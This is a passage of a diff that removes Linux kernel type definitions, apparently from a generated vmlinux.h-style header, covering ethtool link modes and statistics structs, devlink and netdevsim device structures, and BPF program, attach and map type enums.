ETHTOOL_LINK_EXT_SUBSTATE_AN_NO_PARTNER_DETECTED = 1, - ETHTOOL_LINK_EXT_SUBSTATE_AN_ACK_NOT_RECEIVED = 2, - ETHTOOL_LINK_EXT_SUBSTATE_AN_NEXT_PAGE_EXCHANGE_FAILED = 3, - ETHTOOL_LINK_EXT_SUBSTATE_AN_NO_PARTNER_DETECTED_FORCE_MODE = 4, - ETHTOOL_LINK_EXT_SUBSTATE_AN_FEC_MISMATCH_DURING_OVERRIDE = 5, - ETHTOOL_LINK_EXT_SUBSTATE_AN_NO_HCD = 6, -}; - -enum ethtool_link_ext_substate_link_training { - ETHTOOL_LINK_EXT_SUBSTATE_LT_KR_FRAME_LOCK_NOT_ACQUIRED = 1, - ETHTOOL_LINK_EXT_SUBSTATE_LT_KR_LINK_INHIBIT_TIMEOUT = 2, - ETHTOOL_LINK_EXT_SUBSTATE_LT_KR_LINK_PARTNER_DID_NOT_SET_RECEIVER_READY = 3, - ETHTOOL_LINK_EXT_SUBSTATE_LT_REMOTE_FAULT = 4, -}; - -enum ethtool_link_ext_substate_link_logical_mismatch { - ETHTOOL_LINK_EXT_SUBSTATE_LLM_PCS_DID_NOT_ACQUIRE_BLOCK_LOCK = 1, - ETHTOOL_LINK_EXT_SUBSTATE_LLM_PCS_DID_NOT_ACQUIRE_AM_LOCK = 2, - ETHTOOL_LINK_EXT_SUBSTATE_LLM_PCS_DID_NOT_GET_ALIGN_STATUS = 3, - ETHTOOL_LINK_EXT_SUBSTATE_LLM_FC_FEC_IS_NOT_LOCKED = 4, - ETHTOOL_LINK_EXT_SUBSTATE_LLM_RS_FEC_IS_NOT_LOCKED = 5, -}; - -enum ethtool_link_ext_substate_bad_signal_integrity { - ETHTOOL_LINK_EXT_SUBSTATE_BSI_LARGE_NUMBER_OF_PHYSICAL_ERRORS = 1, - ETHTOOL_LINK_EXT_SUBSTATE_BSI_UNSUPPORTED_RATE = 2, - ETHTOOL_LINK_EXT_SUBSTATE_BSI_SERDES_REFERENCE_CLOCK_LOST = 3, - ETHTOOL_LINK_EXT_SUBSTATE_BSI_SERDES_ALOS = 4, -}; - -enum ethtool_link_ext_substate_cable_issue { - ETHTOOL_LINK_EXT_SUBSTATE_CI_UNSUPPORTED_CABLE = 1, - ETHTOOL_LINK_EXT_SUBSTATE_CI_CABLE_TEST_FAILURE = 2, -}; - -enum ethtool_link_ext_substate_module { - ETHTOOL_LINK_EXT_SUBSTATE_MODULE_CMIS_NOT_READY = 1, -}; - -enum ethtool_module_power_mode_policy { - ETHTOOL_MODULE_POWER_MODE_POLICY_HIGH = 1, - ETHTOOL_MODULE_POWER_MODE_POLICY_AUTO = 2, -}; - -enum ethtool_module_power_mode { - ETHTOOL_MODULE_POWER_MODE_LOW = 1, - ETHTOOL_MODULE_POWER_MODE_HIGH = 2, -}; - -struct ethtool_test { - __u32 cmd; - __u32 flags; - __u32 reserved; - __u32 len; - __u64 data[0]; -}; - -struct ethtool_stats { - __u32 cmd; - __u32 n_stats; - __u64 data[0]; -}; - -struct ethtool_tcpip4_spec { - __be32 ip4src; - __be32 ip4dst; - __be16 psrc; - __be16 pdst; - __u8 tos; -}; - -struct ethtool_ah_espip4_spec { - __be32 ip4src; - __be32 ip4dst; - __be32 spi; - __u8 tos; -}; - -struct ethtool_usrip4_spec { - __be32 ip4src; - __be32 ip4dst; - __be32 l4_4_bytes; - __u8 tos; - __u8 ip_ver; - __u8 proto; -}; - -struct ethtool_tcpip6_spec { - __be32 ip6src[4]; - __be32 ip6dst[4]; - __be16 psrc; - __be16 pdst; - __u8 tclass; -}; - -struct ethtool_ah_espip6_spec { - __be32 ip6src[4]; - __be32 ip6dst[4]; - __be32 spi; - __u8 tclass; -}; - -struct ethtool_usrip6_spec { - __be32 ip6src[4]; - __be32 ip6dst[4]; - __be32 l4_4_bytes; - __u8 tclass; - __u8 l4_proto; -}; - -union ethtool_flow_union { - struct ethtool_tcpip4_spec tcp_ip4_spec; - struct ethtool_tcpip4_spec udp_ip4_spec; - struct ethtool_tcpip4_spec sctp_ip4_spec; - struct ethtool_ah_espip4_spec ah_ip4_spec; - struct ethtool_ah_espip4_spec esp_ip4_spec; - struct ethtool_usrip4_spec usr_ip4_spec; - struct ethtool_tcpip6_spec tcp_ip6_spec; - struct ethtool_tcpip6_spec udp_ip6_spec; - struct ethtool_tcpip6_spec sctp_ip6_spec; - struct ethtool_ah_espip6_spec ah_ip6_spec; - struct ethtool_ah_espip6_spec esp_ip6_spec; - struct ethtool_usrip6_spec usr_ip6_spec; - struct ethhdr ether_spec; - __u8 hdata[52]; -}; - -struct ethtool_flow_ext { - __u8 padding[2]; - unsigned char h_dest[6]; - __be16 vlan_etype; - __be16 vlan_tci; - __be32 data[2]; -}; - -struct ethtool_rx_flow_spec { - __u32 flow_type; - union ethtool_flow_union h_u; - struct ethtool_flow_ext h_ext; - union ethtool_flow_union m_u; - struct ethtool_flow_ext m_ext; - __u64 ring_cookie; - __u32 location; -}; - -struct ethtool_rxnfc { - __u32 cmd; - __u32 flow_type; - __u64 data; - struct ethtool_rx_flow_spec fs; - union { - __u32 rule_cnt; - __u32 rss_context; - }; - __u32 rule_locs[0]; -}; - -struct ethtool_flash { - __u32 cmd; - __u32 region; - char data[128]; -}; - -struct ethtool_dump { - __u32 cmd; - __u32 version; - __u32 flag; - __u32 len; - __u8 data[0]; -}; - -struct ethtool_ts_info { - __u32 cmd; - __u32 so_timestamping; - __s32 phc_index; - __u32 tx_types; - __u32 tx_reserved[3]; - __u32 rx_filters; - __u32 rx_reserved[3]; -}; - -struct ethtool_fecparam { - __u32 cmd; - __u32 active_fec; - __u32 fec; - __u32 reserved; -}; - -enum ethtool_link_mode_bit_indices { - ETHTOOL_LINK_MODE_10baseT_Half_BIT = 0, - ETHTOOL_LINK_MODE_10baseT_Full_BIT = 1, - ETHTOOL_LINK_MODE_100baseT_Half_BIT = 2, - ETHTOOL_LINK_MODE_100baseT_Full_BIT = 3, - ETHTOOL_LINK_MODE_1000baseT_Half_BIT = 4, - ETHTOOL_LINK_MODE_1000baseT_Full_BIT = 5, - ETHTOOL_LINK_MODE_Autoneg_BIT = 6, - ETHTOOL_LINK_MODE_TP_BIT = 7, - ETHTOOL_LINK_MODE_AUI_BIT = 8, - ETHTOOL_LINK_MODE_MII_BIT = 9, - ETHTOOL_LINK_MODE_FIBRE_BIT = 10, - ETHTOOL_LINK_MODE_BNC_BIT = 11, - ETHTOOL_LINK_MODE_10000baseT_Full_BIT = 12, - ETHTOOL_LINK_MODE_Pause_BIT = 13, - ETHTOOL_LINK_MODE_Asym_Pause_BIT = 14, - ETHTOOL_LINK_MODE_2500baseX_Full_BIT = 15, - ETHTOOL_LINK_MODE_Backplane_BIT = 16, - ETHTOOL_LINK_MODE_1000baseKX_Full_BIT = 17, - ETHTOOL_LINK_MODE_10000baseKX4_Full_BIT = 18, - ETHTOOL_LINK_MODE_10000baseKR_Full_BIT = 19, - ETHTOOL_LINK_MODE_10000baseR_FEC_BIT = 20, - ETHTOOL_LINK_MODE_20000baseMLD2_Full_BIT = 21, - ETHTOOL_LINK_MODE_20000baseKR2_Full_BIT = 22, - ETHTOOL_LINK_MODE_40000baseKR4_Full_BIT = 23, - ETHTOOL_LINK_MODE_40000baseCR4_Full_BIT = 24, - ETHTOOL_LINK_MODE_40000baseSR4_Full_BIT = 25, - ETHTOOL_LINK_MODE_40000baseLR4_Full_BIT = 26, - ETHTOOL_LINK_MODE_56000baseKR4_Full_BIT = 27, - ETHTOOL_LINK_MODE_56000baseCR4_Full_BIT = 28, - ETHTOOL_LINK_MODE_56000baseSR4_Full_BIT = 29, - ETHTOOL_LINK_MODE_56000baseLR4_Full_BIT = 30, - ETHTOOL_LINK_MODE_25000baseCR_Full_BIT = 31, - ETHTOOL_LINK_MODE_25000baseKR_Full_BIT = 32, - ETHTOOL_LINK_MODE_25000baseSR_Full_BIT = 33, - ETHTOOL_LINK_MODE_50000baseCR2_Full_BIT = 34, - ETHTOOL_LINK_MODE_50000baseKR2_Full_BIT = 35, - ETHTOOL_LINK_MODE_100000baseKR4_Full_BIT = 36, - ETHTOOL_LINK_MODE_100000baseSR4_Full_BIT = 37, - ETHTOOL_LINK_MODE_100000baseCR4_Full_BIT = 38, - ETHTOOL_LINK_MODE_100000baseLR4_ER4_Full_BIT = 39, - ETHTOOL_LINK_MODE_50000baseSR2_Full_BIT = 40, - ETHTOOL_LINK_MODE_1000baseX_Full_BIT = 41, - ETHTOOL_LINK_MODE_10000baseCR_Full_BIT = 42, - ETHTOOL_LINK_MODE_10000baseSR_Full_BIT = 43, - ETHTOOL_LINK_MODE_10000baseLR_Full_BIT = 44, - ETHTOOL_LINK_MODE_10000baseLRM_Full_BIT = 45, - ETHTOOL_LINK_MODE_10000baseER_Full_BIT = 46, - ETHTOOL_LINK_MODE_2500baseT_Full_BIT = 47, - ETHTOOL_LINK_MODE_5000baseT_Full_BIT = 48, - ETHTOOL_LINK_MODE_FEC_NONE_BIT = 49, - ETHTOOL_LINK_MODE_FEC_RS_BIT = 50, - ETHTOOL_LINK_MODE_FEC_BASER_BIT = 51, - ETHTOOL_LINK_MODE_50000baseKR_Full_BIT = 52, - ETHTOOL_LINK_MODE_50000baseSR_Full_BIT = 53, - ETHTOOL_LINK_MODE_50000baseCR_Full_BIT = 54, - ETHTOOL_LINK_MODE_50000baseLR_ER_FR_Full_BIT = 55, - ETHTOOL_LINK_MODE_50000baseDR_Full_BIT = 56, - ETHTOOL_LINK_MODE_100000baseKR2_Full_BIT = 57, - ETHTOOL_LINK_MODE_100000baseSR2_Full_BIT = 58, - ETHTOOL_LINK_MODE_100000baseCR2_Full_BIT = 59, - ETHTOOL_LINK_MODE_100000baseLR2_ER2_FR2_Full_BIT = 60, - ETHTOOL_LINK_MODE_100000baseDR2_Full_BIT = 61, - ETHTOOL_LINK_MODE_200000baseKR4_Full_BIT = 62, - ETHTOOL_LINK_MODE_200000baseSR4_Full_BIT = 63, - ETHTOOL_LINK_MODE_200000baseLR4_ER4_FR4_Full_BIT = 64, - ETHTOOL_LINK_MODE_200000baseDR4_Full_BIT = 65, - ETHTOOL_LINK_MODE_200000baseCR4_Full_BIT = 66, - ETHTOOL_LINK_MODE_100baseT1_Full_BIT = 67, - ETHTOOL_LINK_MODE_1000baseT1_Full_BIT = 68, - ETHTOOL_LINK_MODE_400000baseKR8_Full_BIT = 69, - ETHTOOL_LINK_MODE_400000baseSR8_Full_BIT = 70, - ETHTOOL_LINK_MODE_400000baseLR8_ER8_FR8_Full_BIT = 71, - ETHTOOL_LINK_MODE_400000baseDR8_Full_BIT = 72, - ETHTOOL_LINK_MODE_400000baseCR8_Full_BIT = 73, - ETHTOOL_LINK_MODE_FEC_LLRS_BIT = 74, - ETHTOOL_LINK_MODE_100000baseKR_Full_BIT = 75, - ETHTOOL_LINK_MODE_100000baseSR_Full_BIT = 76, - ETHTOOL_LINK_MODE_100000baseLR_ER_FR_Full_BIT = 77, - ETHTOOL_LINK_MODE_100000baseCR_Full_BIT = 78, - ETHTOOL_LINK_MODE_100000baseDR_Full_BIT = 79, - ETHTOOL_LINK_MODE_200000baseKR2_Full_BIT = 80, - ETHTOOL_LINK_MODE_200000baseSR2_Full_BIT = 81, - ETHTOOL_LINK_MODE_200000baseLR2_ER2_FR2_Full_BIT = 82, - ETHTOOL_LINK_MODE_200000baseDR2_Full_BIT = 83, - ETHTOOL_LINK_MODE_200000baseCR2_Full_BIT = 84, - ETHTOOL_LINK_MODE_400000baseKR4_Full_BIT = 85, - ETHTOOL_LINK_MODE_400000baseSR4_Full_BIT = 86, - ETHTOOL_LINK_MODE_400000baseLR4_ER4_FR4_Full_BIT = 87, - ETHTOOL_LINK_MODE_400000baseDR4_Full_BIT = 88, - ETHTOOL_LINK_MODE_400000baseCR4_Full_BIT = 89, - ETHTOOL_LINK_MODE_100baseFX_Half_BIT = 90, - ETHTOOL_LINK_MODE_100baseFX_Full_BIT = 91, - ETHTOOL_LINK_MODE_10baseT1L_Full_BIT = 92, - ETHTOOL_LINK_MODE_800000baseCR8_Full_BIT = 93, - ETHTOOL_LINK_MODE_800000baseKR8_Full_BIT = 94, - ETHTOOL_LINK_MODE_800000baseDR8_Full_BIT = 95, - ETHTOOL_LINK_MODE_800000baseDR8_2_Full_BIT = 96, - ETHTOOL_LINK_MODE_800000baseSR8_Full_BIT = 97, - ETHTOOL_LINK_MODE_800000baseVR8_Full_BIT = 98, - __ETHTOOL_LINK_MODE_MASK_NBITS = 99, -}; - -struct ethtool_link_settings { - __u32 cmd; - __u32 speed; - __u8 duplex; - __u8 port; - __u8 phy_address; - __u8 autoneg; - __u8 mdio_support; - __u8 eth_tp_mdix; - __u8 eth_tp_mdix_ctrl; - __s8 link_mode_masks_nwords; - __u8 transceiver; - __u8 master_slave_cfg; - __u8 master_slave_state; - __u8 rate_matching; - __u32 reserved[7]; - __u32 link_mode_masks[0]; -}; - -struct kernel_ethtool_ringparam { - u32 rx_buf_len; - u8 tcp_data_split; - u8 tx_push; - u32 cqe_size; -}; - -struct ethtool_link_ext_state_info { - enum ethtool_link_ext_state link_ext_state; - union { - enum ethtool_link_ext_substate_autoneg autoneg; - enum ethtool_link_ext_substate_link_training link_training; - enum ethtool_link_ext_substate_link_logical_mismatch link_logical_mismatch; - enum ethtool_link_ext_substate_bad_signal_integrity bad_signal_integrity; - enum ethtool_link_ext_substate_cable_issue cable_issue; - enum ethtool_link_ext_substate_module module; - u32 __link_ext_substate; - }; -}; - -struct ethtool_link_ext_stats { - u64 link_down_events; -}; - -struct ethtool_link_ksettings { - struct ethtool_link_settings base; - struct { - long unsigned int supported[2]; - long unsigned int advertising[2]; - long unsigned int lp_advertising[2]; - } link_modes; - u32 lanes; -}; - -struct kernel_ethtool_coalesce { - u8 use_cqe_mode_tx; - u8 use_cqe_mode_rx; -}; - -struct ethtool_eth_mac_stats { - u64 FramesTransmittedOK; - u64 SingleCollisionFrames; - u64 MultipleCollisionFrames; - u64 FramesReceivedOK; - u64 FrameCheckSequenceErrors; - u64 AlignmentErrors; - u64 OctetsTransmittedOK; - u64 FramesWithDeferredXmissions; - u64 LateCollisions; - u64 FramesAbortedDueToXSColls; - u64 FramesLostDueToIntMACXmitError; - u64 CarrierSenseErrors; - u64 OctetsReceivedOK; - u64 FramesLostDueToIntMACRcvError; - u64 MulticastFramesXmittedOK; - u64 BroadcastFramesXmittedOK; - u64 FramesWithExcessiveDeferral; - u64 MulticastFramesReceivedOK; - u64 BroadcastFramesReceivedOK; - u64 InRangeLengthErrors; - u64 OutOfRangeLengthField; - u64 FrameTooLongErrors; -}; - -struct ethtool_eth_phy_stats { - u64 SymbolErrorDuringCarrier; -}; - -struct ethtool_eth_ctrl_stats { - u64 MACControlFramesTransmitted; - u64 MACControlFramesReceived; - u64 UnsupportedOpcodesReceived; -}; - -struct ethtool_pause_stats { - u64 tx_pause_frames; - u64 rx_pause_frames; -}; - -struct ethtool_fec_stat { - u64 total; - u64 lanes[8]; -}; - -struct ethtool_fec_stats { - struct ethtool_fec_stat corrected_blocks; - struct ethtool_fec_stat uncorrectable_blocks; - struct ethtool_fec_stat corrected_bits; -}; - -struct ethtool_rmon_hist_range { - u16 low; - u16 high; -}; - -struct ethtool_rmon_stats { - u64 undersize_pkts; - u64 oversize_pkts; - u64 fragments; - u64 jabbers; - u64 hist[10]; - u64 hist_tx[10]; -}; - -struct ethtool_module_eeprom { - u32 offset; - u32 length; - u8 page; - u8 bank; - u8 i2c_address; - u8 *data; -}; - -struct ethtool_module_power_mode_params { - enum ethtool_module_power_mode_policy policy; - enum ethtool_module_power_mode mode; -}; - -enum devlink_eswitch_mode { - DEVLINK_ESWITCH_MODE_LEGACY = 0, - DEVLINK_ESWITCH_MODE_SWITCHDEV = 1, -}; - -enum devlink_rate_type { - DEVLINK_RATE_TYPE_LEAF = 0, - DEVLINK_RATE_TYPE_NODE = 1, -}; - -struct devlink_rate { - struct list_head list; - enum devlink_rate_type type; - struct devlink *devlink; - void *priv; - u64 tx_share; - u64 tx_max; - struct devlink_rate *parent; - union { - struct devlink_port *devlink_port; - struct { - char *name; - refcount_t refcnt; - }; - }; - u32 tx_priority; - u32 tx_weight; -}; - -struct devlink_dev_stats { - u32 reload_stats[6]; - u32 remote_reload_stats[6]; -}; - -struct devlink_dpipe_headers; - -struct devlink_ops; - -struct devlink { - u32 index; - struct xarray ports; - struct list_head rate_list; - struct list_head sb_list; - struct list_head dpipe_table_list; - struct list_head resource_list; - struct list_head param_list; - struct list_head region_list; - struct list_head reporter_list; - struct mutex reporters_lock; - struct devlink_dpipe_headers *dpipe_headers; - struct list_head trap_list; - struct list_head trap_group_list; - struct list_head trap_policer_list; - struct list_head linecard_list; - struct mutex linecards_lock; - const struct devlink_ops *ops; - u64 features; - struct xarray snapshot_ids; - struct devlink_dev_stats stats; - struct device *dev; - possible_net_t _net; - struct mutex lock; - struct lock_class_key lock_key; - u8 reload_failed: 1; - refcount_t refcount; - struct completion comp; - struct callback_head rcu; - struct notifier_block netdevice_nb; - long: 64; - char priv[0]; -}; - -struct nsim_sa { - struct xfrm_state *xs; - __be32 ipaddr[4]; - u32 key[4]; - u32 salt; - bool used; - bool crypt; - bool rx; -}; - -struct nsim_ipsec { - struct nsim_sa sa[33]; - struct dentry *pfile; - u32 count; - u32 tx; - u32 ok; -}; - -struct nsim_ethtool_pauseparam { - bool rx; - bool tx; - bool report_stats_rx; - bool report_stats_tx; -}; - -struct nsim_ethtool { - u32 get_err; - u32 set_err; - u32 channels; - struct nsim_ethtool_pauseparam pauseparam; - struct ethtool_coalesce coalesce; - struct ethtool_ringparam ring; - struct ethtool_fecparam fec; -}; - -struct nsim_dev; - -struct nsim_dev_port; - -struct nsim_bus_dev; - -struct netdevsim { - struct net_device *netdev; - struct nsim_dev *nsim_dev; - struct nsim_dev_port *nsim_dev_port; - u64 tx_packets; - u64 tx_bytes; - struct u64_stats_sync syncp; - struct nsim_bus_dev *nsim_bus_dev; - struct bpf_prog *bpf_offloaded; - u32 bpf_offloaded_id; - struct xdp_attachment_info xdp; - struct xdp_attachment_info xdp_hw; - bool bpf_tc_accept; - bool bpf_tc_non_bound_accept; - bool bpf_xdpdrv_accept; - bool bpf_xdpoffload_accept; - bool bpf_map_accept; - struct nsim_ipsec ipsec; - struct { - u32 inject_error; - u32 sleep; - u32 __ports[8]; - u32 (*ports)[4]; - struct debugfs_u32_array dfs_ports[2]; - } udp_ports; - struct nsim_ethtool ethtool; -}; - -struct devlink_region; - -struct devlink_health_reporter; - -struct nsim_dev_health { - struct devlink_health_reporter *empty_reporter; - struct devlink_health_reporter *dummy_reporter; - struct dentry *ddir; - char *recovered_break_msg; - u32 binary_len; - bool fail_recover; -}; - -struct nsim_dev_hwstats { - struct dentry *ddir; - struct dentry *l3_ddir; - struct mutex hwsdev_list_lock; - struct list_head l3_list; - struct notifier_block netdevice_nb; - struct delayed_work traffic_dw; -}; - -struct nsim_dev_psample; - -struct nsim_fib_data; - -struct nsim_trap_data; - -struct nsim_vf_config; - -struct bpf_offload_dev; - -struct nsim_dev { - struct nsim_bus_dev *nsim_bus_dev; - struct nsim_fib_data *fib_data; - struct nsim_trap_data *trap_data; - struct dentry *ddir; - struct dentry *ports_ddir; - struct dentry *take_snapshot; - struct dentry *nodes_ddir; - struct nsim_vf_config *vfconfigs; - struct bpf_offload_dev *bpf_dev; - bool bpf_bind_accept; - bool bpf_bind_verifier_accept; - u32 bpf_bind_verifier_delay; - struct dentry *ddir_bpf_bound_progs; - u32 prog_id_gen; - struct list_head bpf_bound_progs; - struct list_head bpf_bound_maps; - struct netdev_phys_item_id switch_id; - struct list_head port_list; - bool fw_update_status; - u32 fw_update_overwrite_mask; - u32 max_macs; - bool test1; - bool dont_allow_reload; - bool fail_reload; - struct devlink_region *dummy_region; - struct nsim_dev_health health; - struct nsim_dev_hwstats hwstats; - struct flow_action_cookie *fa_cookie; - spinlock_t fa_cookie_lock; - bool fail_trap_group_set; - bool fail_trap_policer_set; - bool fail_trap_policer_counter_get; - bool fail_trap_drop_counter_get; - struct { - struct udp_tunnel_nic_shared utn_shared; - u32 __ports[8]; - bool sync_all; - bool open_only; - bool ipv4_only; - bool shared; - bool static_iana_vxlan; - u32 sleep; - } udp_ports; - struct nsim_dev_psample *psample; - u16 esw_mode; -}; - -enum nsim_dev_port_type { - NSIM_DEV_PORT_TYPE_PF = 0, - NSIM_DEV_PORT_TYPE_VF = 1, -}; - -struct nsim_dev_port { - struct list_head list; - struct devlink_port devlink_port; - unsigned int port_index; - enum nsim_dev_port_type port_type; - struct dentry *ddir; - struct dentry *rate_parent; - char *parent_name; - struct netdevsim *ns; -}; - -struct nsim_bus_dev { - struct device dev; - struct list_head list; - unsigned int port_count; - unsigned int num_queues; - struct net *initial_net; - unsigned int max_vfs; - unsigned int num_vfs; - bool init; -}; - -struct nsim_vf_config { - int link_state; - u16 min_tx_rate; - u16 max_tx_rate; - u16 vlan; - __be16 vlan_proto; - u16 qos; - u8 vf_mac[6]; - bool spoofchk_enabled; - bool trusted; - bool rss_query_enabled; -}; - -struct bpf_run_ctx {}; - -struct hlist_nulls_head { - struct hlist_nulls_node *first; -}; - -struct snmp_mib { - const char *name; - int entry; -}; - -struct inet_ehash_bucket; - -struct inet_bind_hashbucket; - -struct inet_listen_hashbucket; - -struct inet_hashinfo { - struct inet_ehash_bucket *ehash; - spinlock_t *ehash_locks; - unsigned int ehash_mask; - unsigned int ehash_locks_mask; - struct kmem_cache *bind_bucket_cachep; - struct inet_bind_hashbucket *bhash; - struct kmem_cache *bind2_bucket_cachep; - struct inet_bind_hashbucket *bhash2; - unsigned int bhash_size; - unsigned int lhash2_mask; - struct inet_listen_hashbucket *lhash2; - bool pernet; -}; - -struct tcp_fastopen_context { - siphash_key_t key[2]; - int num; - struct callback_head rcu; -}; - -struct bpf_cgroup_storage; - -struct bpf_prog_array_item { - struct bpf_prog *prog; - union { - struct bpf_cgroup_storage *cgroup_storage[2]; - u64 bpf_cookie; - }; -}; - -struct bpf_prog_array { - struct callback_head rcu; - struct bpf_prog_array_item items[0]; -}; - -enum bpf_prog_type { - BPF_PROG_TYPE_UNSPEC = 0, - BPF_PROG_TYPE_SOCKET_FILTER = 1, - BPF_PROG_TYPE_KPROBE = 2, - BPF_PROG_TYPE_SCHED_CLS = 3, - BPF_PROG_TYPE_SCHED_ACT = 4, - BPF_PROG_TYPE_TRACEPOINT = 5, - BPF_PROG_TYPE_XDP = 6, - BPF_PROG_TYPE_PERF_EVENT = 7, - BPF_PROG_TYPE_CGROUP_SKB = 8, - BPF_PROG_TYPE_CGROUP_SOCK = 9, - BPF_PROG_TYPE_LWT_IN = 10, - BPF_PROG_TYPE_LWT_OUT = 11, - BPF_PROG_TYPE_LWT_XMIT = 12, - BPF_PROG_TYPE_SOCK_OPS = 13, - BPF_PROG_TYPE_SK_SKB = 14, - BPF_PROG_TYPE_CGROUP_DEVICE = 15, - BPF_PROG_TYPE_SK_MSG = 16, - BPF_PROG_TYPE_RAW_TRACEPOINT = 17, - BPF_PROG_TYPE_CGROUP_SOCK_ADDR = 18, - BPF_PROG_TYPE_LWT_SEG6LOCAL = 19, - BPF_PROG_TYPE_LIRC_MODE2 = 20, - BPF_PROG_TYPE_SK_REUSEPORT = 21, - BPF_PROG_TYPE_FLOW_DISSECTOR = 22, - BPF_PROG_TYPE_CGROUP_SYSCTL = 23, - BPF_PROG_TYPE_RAW_TRACEPOINT_WRITABLE = 24, - BPF_PROG_TYPE_CGROUP_SOCKOPT = 25, - BPF_PROG_TYPE_TRACING = 26, - BPF_PROG_TYPE_STRUCT_OPS = 27, - BPF_PROG_TYPE_EXT = 28, - BPF_PROG_TYPE_LSM = 29, - BPF_PROG_TYPE_SK_LOOKUP = 30, - BPF_PROG_TYPE_SYSCALL = 31, -}; - -enum bpf_attach_type { - BPF_CGROUP_INET_INGRESS = 0, - BPF_CGROUP_INET_EGRESS = 1, - BPF_CGROUP_INET_SOCK_CREATE = 2, - BPF_CGROUP_SOCK_OPS = 3, - BPF_SK_SKB_STREAM_PARSER = 4, - BPF_SK_SKB_STREAM_VERDICT = 5, - BPF_CGROUP_DEVICE = 6, - BPF_SK_MSG_VERDICT = 7, - BPF_CGROUP_INET4_BIND = 8, - BPF_CGROUP_INET6_BIND = 9, - BPF_CGROUP_INET4_CONNECT = 10, - BPF_CGROUP_INET6_CONNECT = 11, - BPF_CGROUP_INET4_POST_BIND = 12, - BPF_CGROUP_INET6_POST_BIND = 13, - BPF_CGROUP_UDP4_SENDMSG = 14, - BPF_CGROUP_UDP6_SENDMSG = 15, - BPF_LIRC_MODE2 = 16, - BPF_FLOW_DISSECTOR = 17, - BPF_CGROUP_SYSCTL = 18, - BPF_CGROUP_UDP4_RECVMSG = 19, - BPF_CGROUP_UDP6_RECVMSG = 20, - BPF_CGROUP_GETSOCKOPT = 21, - BPF_CGROUP_SETSOCKOPT = 22, - BPF_TRACE_RAW_TP = 23, - BPF_TRACE_FENTRY = 24, - BPF_TRACE_FEXIT = 25, - BPF_MODIFY_RETURN = 26, - BPF_LSM_MAC = 27, - BPF_TRACE_ITER = 28, - BPF_CGROUP_INET4_GETPEERNAME = 29, - BPF_CGROUP_INET6_GETPEERNAME = 30, - BPF_CGROUP_INET4_GETSOCKNAME = 31, - BPF_CGROUP_INET6_GETSOCKNAME = 32, - BPF_XDP_DEVMAP = 33, - BPF_CGROUP_INET_SOCK_RELEASE = 34, - BPF_XDP_CPUMAP = 35, - BPF_SK_LOOKUP = 36, - BPF_XDP = 37, - BPF_SK_SKB_VERDICT = 38, - BPF_SK_REUSEPORT_SELECT = 39, - BPF_SK_REUSEPORT_SELECT_OR_MIGRATE = 40, - BPF_PERF_EVENT = 41, - BPF_TRACE_KPROBE_MULTI = 42, - BPF_LSM_CGROUP = 43, - __MAX_BPF_ATTACH_TYPE = 44, -}; - -struct sock_filter { - __u16 code; - __u8 jt; - __u8 jf; - __u32 k; -}; - -struct bpf_insn { - __u8 code; - __u8 dst_reg: 4; - __u8 src_reg: 4; - __s16 off; - __s32 imm; -}; - -struct bpf_prog_stats; - -struct bpf_prog_aux; - -struct sock_fprog_kern; - -struct bpf_prog { - u16 pages; - u16 jited: 1; - u16 jit_requested: 1; - u16 gpl_compatible: 1; - u16 cb_access: 1; - u16 dst_needed: 1; - u16 blinding_requested: 1; - u16 blinded: 1; - u16 is_func: 1; - u16 kprobe_override: 1; - u16 has_callchain_buf: 1; - u16 enforce_expected_attach_type: 1; - u16 call_get_stack: 1; - u16 call_get_func_ip: 1; - u16 tstamp_type_access: 1; - enum bpf_prog_type type; - enum bpf_attach_type expected_attach_type; - u32 len; - u32 jited_len; - u8 tag[8]; - struct bpf_prog_stats *stats; - int *active; - unsigned int (*bpf_func)(const void *, const struct bpf_insn *); - struct bpf_prog_aux *aux; - struct sock_fprog_kern *orig_prog; - union { - struct { - struct {} __empty_insns; - struct sock_filter insns[0]; - }; - struct { - struct {} __empty_insnsi; - struct bpf_insn insnsi[0]; - }; - }; -}; - -struct pernet_operations { - struct list_head list; - int (*init)(struct net *); - void (*pre_exit)(struct net *); - void (*exit)(struct net *); - void (*exit_batch)(struct list_head *); - unsigned int *id; - size_t size; -}; - -enum cgroup_bpf_attach_type { - CGROUP_BPF_ATTACH_TYPE_INVALID = -1, - CGROUP_INET_INGRESS = 0, - CGROUP_INET_EGRESS = 1, - CGROUP_INET_SOCK_CREATE = 2, - CGROUP_SOCK_OPS = 3, - CGROUP_DEVICE = 4, - CGROUP_INET4_BIND = 5, - CGROUP_INET6_BIND = 6, - CGROUP_INET4_CONNECT = 7, - CGROUP_INET6_CONNECT = 8, - CGROUP_INET4_POST_BIND = 9, - CGROUP_INET6_POST_BIND = 10, - CGROUP_UDP4_SENDMSG = 11, - CGROUP_UDP6_SENDMSG = 12, - CGROUP_SYSCTL = 13, - CGROUP_UDP4_RECVMSG = 14, - CGROUP_UDP6_RECVMSG = 15, - CGROUP_GETSOCKOPT = 16, - CGROUP_SETSOCKOPT = 17, - CGROUP_INET4_GETPEERNAME = 18, - CGROUP_INET6_GETPEERNAME = 19, - CGROUP_INET4_GETSOCKNAME = 20, - CGROUP_INET6_GETSOCKNAME = 21, - CGROUP_INET_SOCK_RELEASE = 22, - CGROUP_LSM_START = 23, - CGROUP_LSM_END = 32, - MAX_CGROUP_BPF_ATTACH_TYPE = 33, -}; - -enum bpf_map_type { - BPF_MAP_TYPE_UNSPEC = 0, - BPF_MAP_TYPE_HASH = 1, - BPF_MAP_TYPE_ARRAY = 2, - BPF_MAP_TYPE_PROG_ARRAY = 3, - BPF_MAP_TYPE_PERF_EVENT_ARRAY = 4, - BPF_MAP_TYPE_PERCPU_HASH = 5, - BPF_MAP_TYPE_PERCPU_ARRAY = 6, - BPF_MAP_TYPE_STACK_TRACE = 7, - BPF_MAP_TYPE_CGROUP_ARRAY = 8, - BPF_MAP_TYPE_LRU_HASH = 9, - BPF_MAP_TYPE_LRU_PERCPU_HASH = 10, - BPF_MAP_TYPE_LPM_TRIE = 11, - BPF_MAP_TYPE_ARRAY_OF_MAPS = 12, - BPF_MAP_TYPE_HASH_OF_MAPS = 13, - BPF_MAP_TYPE_DEVMAP = 14, - BPF_MAP_TYPE_SOCKMAP = 15, - BPF_MAP_TYPE_CPUMAP = 16, - BPF_MAP_TYPE_XSKMAP = 17, - BPF_MAP_TYPE_SOCKHASH = 18, - BPF_MAP_TYPE_CGROUP_STORAGE_DEPRECATED = 19, - BPF_MAP_TYPE_CGROUP_STORAGE = 19, - BPF_MAP_TYPE_REUSEPORT_SOCKARRAY = 20, - BPF_MAP_TYPE_PERCPU_CGROUP_STORAGE = 21, - 